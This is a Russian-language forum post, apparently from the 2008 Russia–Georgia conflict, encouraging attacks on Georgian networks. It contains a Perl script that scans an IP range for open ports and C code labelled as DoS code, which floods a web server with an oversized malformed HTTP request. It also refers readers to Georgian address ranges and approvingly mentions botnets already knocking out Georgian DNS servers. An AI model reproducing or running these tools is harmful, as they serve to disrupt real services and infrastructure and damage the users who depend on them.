Сам то поменяй, а то получаешься один за всю страну
Лис тут не один,я - русский ( моя родня живёт в России больше 8 поколений), Москвич, в роду только русские и скандинавы.
Тема топика - гнилая, лучше её закрыть, а то все пересрёмся.
Кому интересны диапазоны адресов грузии - на второй странице я давал.
Как узнать какие рабочие?
Код: Выделить всё
#!/usr/bin/perl
##################################
#created by zingel 26/07/07 0:26 #
##################################
if(@ARGV<2){print "Usage: $0 <start IP> <port>\n";exit;}
else{
use IO::Socket;
$sIP="@ARGV[0]";
$port="@ARGV[1]";
($ip1,$ip2,$ip3,$ip4)=split(/\./,$sIP);
while($ip4<254){
$ipaddr="$ip1.$ip2.$ip3.$ip4";
IP_connect();
$ip4++;
}
}
sub IP_connect {
$z=IO::Socket::INET->new(
PeerAddr=>"$ipaddr",PeerPort=>"$port",Proto=>"tcp",Timeout=>"5")
or warn "Cannot connect to $ipaddr\n";
if($z){print "Connect! - $ipaddr:$port\n";}
close($z)
}
код для DoS
Код: Выделить всё
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#define A 0x41
#define PORT 80
struct sockaddr_in hrm;
int conn(char *ip)
{
int sockfd;
hrm.sin_family = AF_INET;
hrm.sin_port = htons(PORT);
hrm.sin_addr.s_addr = inet_addr(ip);
bzero(&(hrm.sin_zero),8);
sockfd=socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0)
{
perror("connect");
exit(0);
}
return sockfd;
}
int main(int argc, char *argv[])
{
int i,x;
char buf[300],a1[8132],a2[50],host[100],content[100];
char *ip=argv[1],*new=malloc(sizeof(int));
sprintf(new,"\r\n");
memset(a1,'\0',8132);
memset(host,'\0',100);
memset(content,'\0',100);
a1[0] = ' ';
for(i=1;i<8132;i++)
a1[i] = A;
if(argc<2)
{
printf("%s: IP\n",argv[0]);
exit(0);
}
x = conn(ip);
printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr));
sprintf(host,"Host: %s\r\n",argv[1]);
sprintf(content,"Content-Length: 50\r\n");
sprintf(buf,"GET / HTTP/1.0\r\n");
write(x,buf,strlen(buf));
printf("[x] Sending buffer...");
for(i=0;i<2000;i++)
{
write(x,a1,strlen(a1));
write(x,new,strlen(new));
}
memset(buf,'\0',300);
strcpy(buf,host);
strcat(buf,content);
for(i=0;i<50;i++)
a2[i] = A;
strcat(buf,a2);
strcat(buf,"\r\n\r\n");
write(x,buf,strlen(buf));
printf("done!\n");
close(x);
}
Ботнеты storm, RBN, cyberwarfire, RTK уже работают и кладут грузинские ДНСы, нужды в ботнетах пока нет.
Ладно, побежал я по-делам